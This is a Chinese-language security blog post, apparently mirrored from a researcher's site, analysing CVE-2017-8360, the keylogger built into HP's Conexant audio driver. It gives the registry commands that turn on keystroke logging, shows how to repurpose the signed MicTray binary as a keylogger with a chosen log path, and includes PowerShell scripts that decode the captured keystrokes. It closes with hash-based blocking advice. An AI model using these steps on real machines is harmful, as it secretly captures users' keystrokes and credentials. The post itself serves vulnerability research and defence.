11

CVE-2017-8360(Keylogger in HP Audio Driver)利用分析

 3 years ago
source link: https://3gstudent.github.io/3gstudent.github.io/CVE-2017-8360(Keylogger-in-HP-Audio-Driver)%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

CVE-2017-8360(Keylogger in HP Audio Driver)利用分析

0x00 前言


2017年5月,瑞士安全公司Modzero的安全研究员Thorsten Schroeder发现HP的Conexant音频驱动中存在Keylogger,非法记录用户的键盘输入。 本文仅在技术研究的角度,测试和分析利用方法,给出防御建议,纠正部分文章中出现的错误理解。

0x01 简介


本文将要介绍以下内容:

  • 漏洞简要介绍

0x02 漏洞简要介绍


可供参考的资料:

https://www.modzero.ch/advisories/MZ-17-01-Conexant-Keylogger.txt

用户在安装HP的Conexant音频驱动后,将会创建计划任务,在用户登录后执行文件MicTray.exe

注:

32位程序为MicTray.exe,64位程序为MicTray64.exe

启动MicTray.exe会记录用户的键盘输入,以两种方式保存:

  • 写入文件C:\Users\Public\MicTray.log
  • 通过WinAPI OutputDebugString()记录内容,可被其他程序读取

0x03 漏洞复现


关于漏洞复现的参考资料:

https://diablohorn.com/2017/05/12/repurposing-the-hp-audio-key-logger/

本节会对参考资料中的内容做扩展,介绍读取OutputDebugString()中记录的方法

存在漏洞的驱动下载地址:

ftp://whp-aus1.cold.extweb.hp.com/pub/softpaq/sp79001-79500/sp79420.html

该地址已经失效,单个文件的下载地址:

MicTray.exe:

https://www.virustotal.com/nl/file/e882149c43976dfadb2746eb2d75a73f0be5aa193623b18b50827f43cce3ed84/analysis/

MicTray64.exe:

https://www.virustotal.com/nl/file/c046c7f364b42388bb392874129da555d9c688dced3ac1d6a1c6b01df29ea7a8/analysis/

测试系统: Win7 x64(更新补丁)

记录方法1.将键盘记录内容写入文件C:\Users\Public\MicTray.log

(1)添加注册表

使用MicTray.exe:

reg add hklm\SOFTWARE\Wow6432Node\Conexant\MicTray\Hotkey /v CustomSettings /t REG_DWORD /d 1

使用MicTray64.exe:

reg add hklm\SOFTWARE\Conexant\MicTray\Hotkey /v CustomSettings /t REG_DWORD /d 1

二选一即可

本次测试选择MicTray64.exe

(2)运行MicTray.exe/MicTray64.exe

生成记录文件文件C:\Users\Public\MicTray.log

记录键盘输入内容,如下图

Alt text

注:

低权限运行即可,想要记录高权限程序中的键盘输入,需要高权限运行

记录方法2.通过OutputDebugString()输出键盘记录内容

可以通过DbgView读取WinAPI OutputDebugString()的输出内容

下载地址:

https://live.sysinternals.com/Dbgview.exe

由于无法获得HP Conexant音频驱动的安装包,这里选择使用Procmon寻找触发方式

注:

也可以对其动态调试,找到函数判断条件

使用Procmon监控MicTray64.exe在运行时对注册表的操作,记录方法1(写入文件)的注册表操作如下图

Alt text

DbgView输出如下图

Alt text

尝试解决错误,添加注册表项:

reg add hklm\SOFTWARE\Conexant\MicTray\Hotkey /v HotKeyMicScancode /t REG_DWORD /d 1
reg add hklm\SOFTWARE\Conexant\MicTray\Hotkey /v HotKeySpkScancode /t REG_DWORD /d 1
reg add hklm\SOFTWARE\Conexant\MicTray\Hotkey /v PlaybackGPIO /t REG_DWORD /d 1
reg add hklm\SOFTWARE\Conexant\MicTray\Hotkey /v CaptureGPIO /t REG_DWORD /d 1

注:

MicTray64.exe运行后会自动在注册表hkcu\SOFTWARE\Conexant添加配置信息

经测试,还需要清除注册表中的配置信息,否则DbgView无法获得键盘记录

清除配置信息:

reg delete hkcu\SOFTWARE\Conexant /f 

重新启动MicTray64.exe,成功获得键盘记录消息,如下图

Alt text

综上,记录方法2(通过OutputDebugString()输出)的触发条件如下:

  • 不存在注册表项hkcu\SOFTWARE\Conexant
  • 配置以下注册表项: reg add hklm\SOFTWARE\Conexant\MicTray\Hotkey /v CustomSettings /t REG_DWORD /d 1 reg add hklm\SOFTWARE\Conexant\MicTray\Hotkey /v HotKeyMicScancode /t REG_DWORD /d 1 reg add hklm\SOFTWARE\Conexant\MicTray\Hotkey /v HotKeySpkScancode /t REG_DWORD /d 1 reg add hklm\SOFTWARE\Conexant\MicTray\Hotkey /v PlaybackGPIO /t REG_DWORD /d 1 reg add hklm\SOFTWARE\Conexant\MicTray\Hotkey /v CaptureGPIO /t REG_DWORD /d 1

0x04 利用思路


站在渗透测试的角度,分析可供利用的思路

通过修改注册表可以修改记录文件的保存位置:

reg add hkcu\SOFTWARE\Conexant\MicTray64.exe /v LogName /t REG_SZ /d "C:\test\log.txt"

1、针对32位系统的键盘记录

配置命令如下:

reg add hkcu\SOFTWARE\Conexant\MicTray.exe /v LogName /t REG_SZ /d "C:\test\log.txt"
reg add hklm\SOFTWARE\Conexant\MicTray\Hotkey /v CustomSettings /t REG_DWORD /d 1

执行MicTray.exe后,记录文件保存在C:\test\log.txt

2、针对64位系统的键盘记录

32位程序(MicTray.exe)的配置命令如下:

reg add hkcu\SOFTWARE\Conexant\MicTray.exe /v LogName /t REG_SZ /d "C:\test\log.txt"
reg add hklm\SOFTWARE\Wow6432Node\Conexant\MicTray\Hotkey /v CustomSettings /t REG_DWORD /d 1

64位程序(MicTray64.exe)的配置命令如下:

reg add hkcu\SOFTWARE\Conexant\MicTray64.exe /v LogName /t REG_SZ /d "C:\test\log.txt"
reg add hklm\SOFTWARE\Conexant\MicTray\Hotkey /v CustomSettings /t REG_DWORD /d 1

该工具通过调用WinAPI SetwindowsHookEx()实现键盘记录,相对于常规的键盘记录程序,优点在于包含数字签名

Alt text

3、解析键盘记录内容

日志文件记录的是键盘的虚拟键码

可以通过脚本实现将虚拟键码转换为键盘按键的名称

测试参考链接中的powershell代码:

https://www.modzero.ch/advisories/MZ-17-01-Conexant-Keylogger.txt

代码如下:

$filename = "c:\users\public\MicTray.log"

[System.IO.FileStream]   $fs = [System.IO.File]::Open(
      $filename, 
      [System.IO.FileMode]::Open, 
      [System.IO.FileAccess]::Read, 
      [System.IO.FileShare]::ReadWrite)
         
[System.IO.StreamReader] $fr = [System.IO.StreamReader]::new(
      $fs, 
      [Text.UTF8Encoding]::UNICODE)

$el = 0

while($el -lt 2) {
   
   $line = $fr.ReadLine()

   # handle broken newlines in log...
   if([string]::IsNullOrEmpty($line)) {
      $el++
   } else {
      $el=0
   }

   $mc = [regex]::Match($line, 
         "MicTray64.exe.*flags (0x0[A-Fa-f0-9]?).*vk (0x[A-Fa-f0-9]+)$")
   $r = $mc.Groups[2].Value

   if(-Not [string]::IsNullOrEmpty($r)) {
      $i = [convert]::ToInt32($r, 16)
      $c = [convert]::ToChar($i)
      
      if($i -lt 0x20 -or $i -gt 0x7E) { $c = '.' }
         
      write-host -NoNewLine $("{0}" -f $c)
   }
}

我在测试时代码报错,如下图

Alt text

这里提供一个简单的解决方法,代码如下:

$filename = "c:\users\public\MicTray.log"
$fr = Get-Content $filename
foreach ($line in $fr)
{
   $mc = [regex]::Match($line, 
         "MicTray64.exe.*flags (0x0[A-Fa-f0-9]?).*vk (0x[A-Fa-f0-9]+)$")
   $r = $mc.Groups[2].Value

   if(-Not [string]::IsNullOrEmpty($r)) {
      $i = [convert]::ToInt32($r, 16)
      $c = [convert]::ToChar($i)
      
      if($i -lt 0x20 -or $i -gt 0x7E) { $c = '.' }
         
      write-host -NoNewLine $("{0}" -f $c)
   }
}

转换后的输出如下图

Alt text

0x05 防御建议


添加文件黑名单

MicTray.exe:

SHA256: e882149c43976dfadb2746eb2d75a73f0be5aa193623b18b50827f43cce3ed84

MicTray64.exe:

SHA256: c046c7f364b42388bb392874129da555d9c688dced3ac1d6a1c6b01df29ea7a8

注:

更新Windows补丁并不能阻止该程序的运行

0x06 小结


本文复现了CVE-2017-8360(Keylogger in HP Audio Driver)键盘记录的方法,分析利用思路,改进测试脚本,给出防御建议。


LEAVE A REPLY

Written on October 1, 2018

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK